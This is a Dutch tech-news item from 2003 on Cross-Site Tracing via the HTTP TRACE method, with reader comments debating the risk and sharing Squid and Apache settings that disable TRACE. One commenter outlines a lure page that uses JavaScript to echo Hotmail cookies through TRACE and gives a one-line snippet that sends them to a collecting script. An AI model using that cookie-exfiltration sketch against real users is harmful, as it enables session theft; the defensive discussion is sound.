HTTP trace-commando mogelijk te misbruiken

ExtremeTech schrijft dat het trace-commando in het HTTP-protocol mogelijk te misbruiken is. De trace-mogelijkheid staat standaard aan op vrijwel alle webservers. Het commando stuurt direct dezelfde data terug als de client verzonden heeft, en is net als pingen bedoeld om een connectie te testen. Volgens het artikel is het mogelijk misbruik te maken van deze opdracht middels 'Cross-Site Tracing' (XST), waarmee bijvoorbeeld cookies ontfutseld kunnen worden. Dit zou gebleken zijn na maandenlang onderzoek van beveiligingsbureau WhiteHat.

Volgens het bureau is deze aanval een stuk moeilijker te voorkomen dan de zogenaamde 'man in the middle'-aanval, die kan worden bestreden door SSL te gebruiken. Allerlei client-side scripttalen die werken in vrijwel iedere browser, zoals JavaScript, VBScript, Java en Flash, zouden voor deze hack misbruikt kunnen worden. Omdat het trace-commando onderdeel is van het HTTP-protocol, heeft een oplossing van het lek volgens het bureau nog heel wat voeten in de aarde. Zo zouden ontwikkelaars van webservers bijvoorbeeld patches moeten uitbrengen:

WhiteHat has assembled recommendations that go well beyond patching browsers for domain restriction bypass flaws. These include suggestions on the server side such as: disabling the TRACE request on all production and development Web servers; having vendors update Web server packages to disable TRACE out of the box.

Reacties (35)

[JoostBaksteen]

Zelf wist ik niet wat ze bedoelde met het TRACE commando dus ik heb ff gezocht en toen kwam ik http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html hier terecht.

Voor meer info over TRACE

[Anoniem: 48679]

is dat niet wat standaard in m'n win2k doos zit:
tracert www.tweakers.net

waarbij je de VIA headers terugkrijgt, en weet welke reisweg je pakketje heeft gevolgd?

[Anoniem: 5721]

Nee, het is een commando in het HTTP protocol, zoals al simpel is uitgelegd in de nieuwsposting.

[JoostBaksteen]

Nee, dat is het niet, dit is ingebakken in het HTTP protocol wat wordt gebruikt door webservers, als je tracert kom je ook pc's tegen welke geen apache draaien. Maar deze zullen wel een responce geven.

Het is dus wat anders.

[killercow]

trace IS NIET tracert en dus ook niet een gewone ping.

met een trace command kun je direct aan een http server informatie terug vragen die jij hebt verstuurd met het zelfde commando, een ping doet dit al anders, die geeft namenlijk iets anders terug en een tracert heeft er eigenlijk al helemaal weinig mee te maken.

door de fout in het trace commando is het waarschijnlijk mogenlijk om cookie data van andere domain's, servers en browsers op te vragen, dit is dus zeker wel belangrijk aangezien er heel veel sites werken met cookies.

nog iets meer uitleg,
als jouw pc een trace uitvoert, dan loopt dat via een aantal servers, deze servers vragen de data uiteindelijk al dan niet iets anders dan jouw pc dat zou doen op bij de web-server. het commando trace houd in dat het eind-station het aan hem gevraagde commando terug stuurd, kortom, je kunt zien wat de laatse proxy aan de web-server vroeg. deze info kan mischien te veel of gevoelige data bevatten welke alleen bij de web-server thuis hoort en niet terug gestuurd hoort te worden naar de oorsronkelijke client.

hier een relevant stukje text van w3c.org

TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information

[EfBe]

door de fout in het trace commando is het waarschijnlijk mogenlijk om cookie data van andere domain's, servers en browsers op te vragen, dit is dus zeker wel belangrijk aangezien er heel veel sites werken met cookies.

Hoe kan een TRACE naar www.tweakers.net vanuit een java app op www.hackermaaroplos.nl ertoe leiden dat jij, die www.hackermaaroplos.nl bezoekt, je cookies inlevert, bv de www.tweakers.net cookies? Dat vertel jij ook niet met je opmerking.

Trace bevat geen fout, het is een diagnostic tool. Je kunt hooguit proxies peilen, nou, veel plezier met die info, want daar kun je geen reet mee, en al helemaal niet op client niveau, zoals de horrorstories op extremetech je willen laten geloven ("Je cookies zijn niet meer veilig").

btw, die proxies patchen en TRACE is volgens jouw redenering niet meer te gebruiken voor enige infovergaring.

[killercow]

de trace stuurt vrolijk de complete set headers mee, en als de trace dus vanaf jouw pc naar bv tweakers.net gebeurt stuurt deze dus ook jouw cookies mee, deze krijgt hij dan ook weer terug, dus zo kan een site die nooit aan de t.net cookies mocht komen ze ineens uitlezen via die trace functie.

Ik vind het nogal een fout eerlijk gezegd.
je kunt bijvoorbeeld nu een mailtje maken met daarin een link, deze stuur je naar allerlei hotmail vrienden,
op de page achter deze link laat je JS een trace uitvoeren naar de cookie server van hotmail.
de clienst sturen de cookies, want de personen zijn ingelogt @ hotmail.

en dan krijgt jouw JavaScript de cookies van hotmail weer terug, je kunt daarna natuurlijk die cookies op allerlei manieren doorspelen, gewoon een document.location='readcookies.php?cookie='+returnedcookies;

okey en nu niet allemaal gaan lopen scripten, niet dat hotmail mij iets boeit, maar dan krijg ik vast op m'n kop van t.net hier

[Anoniem: 46271]

Ik snap al die paniek niet. Een beetje host/webmaster heeft TRACE uitstaan of beperkt. De mensen die TRACE niet disablen zijn waarschijnljk ook van die figuren die CONNECT open hebben staan....

[bartvb]

Uh huh.
Daarom werkt trace bij 99% van de website.. Ook de grote?

Heeft weinig te maken met skills ofzo. TRACE is een onderdeel van HTTP dus waarom zou je het uitzetten. Dat was iig de gedachtegang voor deze vulnerability werd ontdekt.

* 786562 bartvb

[Anoniem: 46271]

Omdat een website groot is wil dus NIET zeggen dat ie ook professioneel opgezet is. Het zal je nog verbazen hoe vaak dat gewoon nog niet is.

Waarom je het moet uitzetten? Als je security-minded bent hoor je de vraag andersom te bekijken, waarom zou je het aan willen hebben. Alles wat aan staat en niet nodig is kan alleen nog maar misbruikt worden. Op dezelfde manier waarop CONNECT word misbruikt om spam te versturen.

[jkf]

Om trace uit te schakelen op een squid proxy de volgende 2 regeltjes toevogen aan de squid.conf.
aan je acls:
acl TRACE method TRACE

en verderop, voordat je het een en ander toestaat:
http_access deny TRACE

-edit-

Voor diegenen die nieuwschierig zijn hoe een trace eruit ziet (via een proxy in dit geval:

[jkf@user ~]$ telnet jkf.jkf 1010
Trying 10.128.0.1...
Connected to jkf.jkf.
Escape character is '^]'.
TRACE http://www.xs4all.nl/ HTTP/1.0

HTTP/1.0 200 OK
Date: Fri, 24 Jan 2003 18:47:58 GMT
Server: Apache/1.3.26 (Unix) PHP/4.0.6 mod_gzip/1.3.19.1a mod_ssl/2.8.10 OpenSSL/0.9.6g
Content-Type: message/http
X-Cache: MISS from jkf.jkf
Proxy-Connection: close

TRACE / HTTP/1.0
Cache-Control: max-age=259200
Connection: keep-alive
Host: www.xs4all.nl
Via: 1.0 jkf.jkf:1010 (Squid/2.4.STABLE7)
X-Forwarded-For: 10.128.0.2

Connection closed by foreign host.

[GiLuX]

klopt het dat het niet te disablen is voor apache via de config:

Microsoft's URL Scan, included in the most recent Service Pack to IIS, can be used as an effective deterrent to XST, locking down IIS servers. Still, URL Scan is not the sole solution--Apache requires a source code modification, and Netscape's iPlanet must be edited to remove unwanted request methods.

enig idee hoe dit in apache te disabelen?
kan er ook niets over vinden op apache.org.

mischien dat het echt niet kan zoals dit bericht beweerd?

[jkf]

Kan niet bestaat niet, ik heb het even uitgeprobeert op mijn apache server, die geen koekjes gebruikt en ook geen andere fancy dingen gebruikt, waardoor de TRACE hack geen kwaad zou kunnen. De oplossing heb ik er gelijk maar opgezet: http://kruithof.xs4all.nl/index.html

Uitleg even gecopieerd van mijn site:

Apache
Optionally add if not active already

LoadModule rewrite_module modules/mod_rewrite.so
RewriteEngine On

To disable TRACE add before the first server (but after the module is loaded and activated):

RewriteCond %{REQUEST_METHOD} TRACE [NC]
RewriteRule / [F,L]

Do not forget to restart apache.

[Anoniem: 77886]

sorry

[doekman]

Je kunt het TRACE commando toch eenvoudig uitschakelen, in zowel IIS als Apache, dus geen patches nodig. Wie gebruikt TRACE ook eigenlijk. HTTP is vrij volwassen, en volgens mij is TRACE met name handig om rotte proxies te begrijpen...

[EfBe]

In IIS? Je bedoelt, TRACE blocken bij de extensies .asp etc? Of ergens anders?

En stel, je blockt het niet, waarom is dan je bak vulnerable? Ik zie niet in waarom.

[EfBe]

Het extremetech artikel gelezen, maar ik ben niets wijzer, anders dan een ENORME berg blabla en "Ojee de wereld vergaat"-geleuter. Ik snap best dat ze wellicht willen verhullen hoe het werkt, maar ik heb nu echt zoiets van "zal wel, ik geloof niet dat er een exploit mogelijk is". Immers: hoe kan de TRACE functionaliteit nu SSL connecties omzeilen? Slaat echt nergens op, die bewering. Het enige wat ik me kan voorstellen is dat een object in een page een nieuwe connectie maakt mbv TRACE naar een andere server dan waar je nu op zit, die connectie en zn resultaat gebruikt om te communiceren met de server waar je nu op zit. Maar dat is ook zonder trace mogelijk, dus dat lijkt me af te vallen. Hoe TRACE dan wel ingezet kan worden voor het hacken van weet ik wat voor info... het is me compleet onduidelijk.

[killercow]

jij bent de gene die leutert, je zegt zelf al dat je er niets van snapt, en dat je het allemaal maar onzin vindt, ben jij een hacker? ben jij een security expert? neee? mooi wie leutert er dan?

als jouw pc, door middel van een of ander object data gaat versturen naar een server die er niet helemaal aan had mogen komen dan is er dus een exploit en dan kunnen er serieuse problemen ontstaan, zeker aangezien iedere pc aan internet ongeveer een http trace commando kan uitvoeren.

[EfBe]

Dat kan toch ook zonder trace? Een flash app kan toch ook meerdere servers raadplegen voor data en daar iets mee doen? Wat heeft 'TRACE' voor meerwaarde, DAT wil ik graag weten, en dat is me nog steeds niet duidelijk.

btw: ik ben wel software engineer, ik weet wat er in webservers gebeurt, daarom wil ik graag weten hoe whitehat TRACE wil gaan inzetten voor een hack-poging, zodat ik er iets tegen kan doen wellicht op mijn eigen servers.

[killercow]

de trace stuurt vrolijk de complete set headers mee, en als de trace dus vanaf jouw pc naar bv tweakers.net gebeurt stuurt deze dus ook jouw cookies mee, deze krijgt hij dan ook weer terug, dus zo kan een site die nooit aan de t.net cookies mocht komen ze ineens uitlezen via die trace functie.

Ik vind het nogal een fout eerlijk gezegd.
je kunt bijvoorbeeld nu een mailtje maken met daarin een link, deze stuur je naar allerlei hotmail vrienden,
op de page achter deze link laat je JS een trace uitvoeren naar de cookie server van hotmail.
de clienst sturen de cookies, want de personen zijn ingelogt @ hotmail.

en dan krijgt jouw JS de cookies van hotmail weer terug, je kunt daarna natuurlijk die cookies op allerlei manieren doorspelen, gewoon een document.location='readcookies.php?cookie='+returnedcookies;

okey en nu niet allemaal gaan lopen scripten, niet dat hotmail mij iets boeit, maar dan krijg ik vast op m'n kop van t.net hier

[Anoniem: 25466]

Zo klinkt het net of trace een eigen protocol gebruikt terwijl het toch gewoon pingt naar de doelhost met bepaalde TTL-waarden.

[bartvb]

Het gaat hier niet op traceroute maar om het de TRACE method in HTTP. Dus TRACE is net zoiets als GET, POST en HEAD...
c:>traceroute www.tweakers.net
heeft dus helemaal niets met deze TRACE te maken.

Wat is er nou aan de hand?

Als je JS op een pagina hebt staan kan je niet zomaar willekeurige cookies van willekeurige sites opvragen (en dus doorsturen naar een of ander scriptkiddie). Dit hele TRACE verhaal wordt gebruikt om hier omheen te komen.

Wat doe je?

je maakt een stukje JS dat een TRACE request naar een site stuurt (www.tweakers.net bijvoorbeeld), dat doet je browser braaf, terwijl hij dat doet voegt hij aan je request ook netjes de overige headers toe waaronder dus eventuele Cookie headers. Het leuke aan TRACE is dus dat je de hele zooi weer precies terugkrijg zoals het verzonden is. Inclusief de Cookies...

Op die manier kan je met een stukje JS dus zo cookies voor een willekeurige site opvragen en dat stukje JS kan die cookies (en dus ook sessions e.d.) doorspelen naar een kwaadaardige site..

Niet echt handig dus
Hier is trouwens al een paar dagen redelijk wat over te doen op de BugTraq lijst, er zijn ook al workarounds voor Apache e.d., in Apache kan je met een simpele rewrite rule het TRACE commando uitschakelen.

BTW als je meer wil weten staat hier:
http://www.boarder.org/WH-WhitePaper_XST_ebook.pdf
de whitepaper van WhiteHat...

[EfBe]

Maar in dat geval is het dus een bug in de client, en dus patchbaar op de client.

Bedankt voor de uitleg, eindelijk iemand die het snapt en duidelijk is over wat het probleem is.

[bartvb]

Hmm, nee hoor. Is geen probleem in de client. Iig niet als je het strict bekijkt..

Of ja, enige dat er misschien mis gaat is dat je via iets als JS een HTTP verbinding op kan bouwen, maar dat kan ook weer heel erg handig zijn voor behoorlijk wat dingen :\ 't is dus een beetje vaag waar de 'fout' nou eigenlijk ligt, dat is ook 1 van de problemen met deze vulnerability... Enige dat de browser en server doen is de standaarden ondersteunen. De fout wordt in principe veroorzaakt door de opzet van de HTTP standaard zelf. Dus server en client zijn alle twee even (on)schuldig IMO.

[Anoniem: 25991]

Reactie op: Otis

Als ik het goed begrijp kan je het trace commando wel degelijk misbruiken. Volgens mij moeten we dit wel ernstig nemen. Om je een voorbeeld te geven hoe het (imho) er aan toe zou kunnen gaan:

Jij surft naar tweakers.net, leutert daar wat rond en vervolgens ga je naar bogus.com. Deze laatste gaat aan jou browser de locatie opvragen waar je vandaan kwam (tweakers.net). Vervolgens hij gaat dmv. een script (jsp,php,asp,js...) de webserver op de vorige locatie contacteren en een trace sturen. Het antwoord van de server word in hidden fields van de html geparsed en naar jou gestuurd.

Je browser toont nu de frontpage van bogus.com (waarin de hidden fields zitten die het resultaat van de trace dragen) maar bougs.com laat op zijn frontpage echter een knopje zien "Enter" (een submit knopje) door op deze knop te duwen worden de hidden fields naar een nieuw script gestuurd op bogus.com en word daar het resultaat van de trace gesaved.

Of je nu ook daadwerkelijk op die manier aan iemand zen cookies kan komen dat laat ik in het midden, maar het idee dat een 3de partij de informatie kan opvragen die jij laatst naar de vorige httpd gestuurd hebt vind ik al erg genoeg...

[EfBe]

Ik heb de /. thread hierover gelezen, maar het blijkt volgens veel researchers op de bugtraq list dat het 'slechts' om een XMLHTTP bug in IE6SP1 te gaan. (dus client-side bug), en niet zoals beweerd over een bug die half internet lam zal leggen. Leek me ookal raar, omdat de client toestemming geeft aan object A dat in een pagina van host H1 verbinding te maken met H2 en daarbij ALLE cookies mee te zenden, een vorm van XSS. We wachten maar weer af wanneer (en OF) MS dit gaat patchen.

Mitigating factors: de cracker moet weten welke sites jij bezoekt om uberhaupt cookies te stelen. Dit zou bv wel kunnen worden gedaan dmv een link in een signature op GoT, want de klikker op die link zit ook op GoT en heeft waarschijnlijk een account.

[Anoniem: 43136]

bah bah bah.. dit is een enorm gehyped verhaal
de eigenaar van t bedrijf dat dit aan t licht bracht is de ex cto van yahoo heb ik begrepen en heeft nogal wat connecties waardoor hij dit met heel veel FUD gepubliceerd heeft gekregen.

waar t in werkelijkheid om gaat is dit,

met cross site scripting aanvallen kan je cookies kan opvragen via javascript waardoor je sessions kan hijacken om dit moeilijker te maken heeft internet explorer 6 SP1 heeft een uitbreiding aan t cookie protocol? of hoe je t ook noemt toegevoegt genaamt httpOnly waardoor cookies enkel via headers worden doorgegeven en niet via de dom (het javascript commando document.cookies) kan worden uitgelezenm, kan je dus javascript injecten in een pagina dan kan je op die wijze in elk geval geen cookies opvragen.

Deze mensen hebben dus een manier gevonden om deze feature die je ALLEEN vind in ie6 sp1 te omzijlen. dat is alles

de rest is enkel opkloppen

tweakers heeft trouwens zijn eigen manier van dit provbleem oplossen door je de mogelijkheid te geven session cookies aan een ip te binden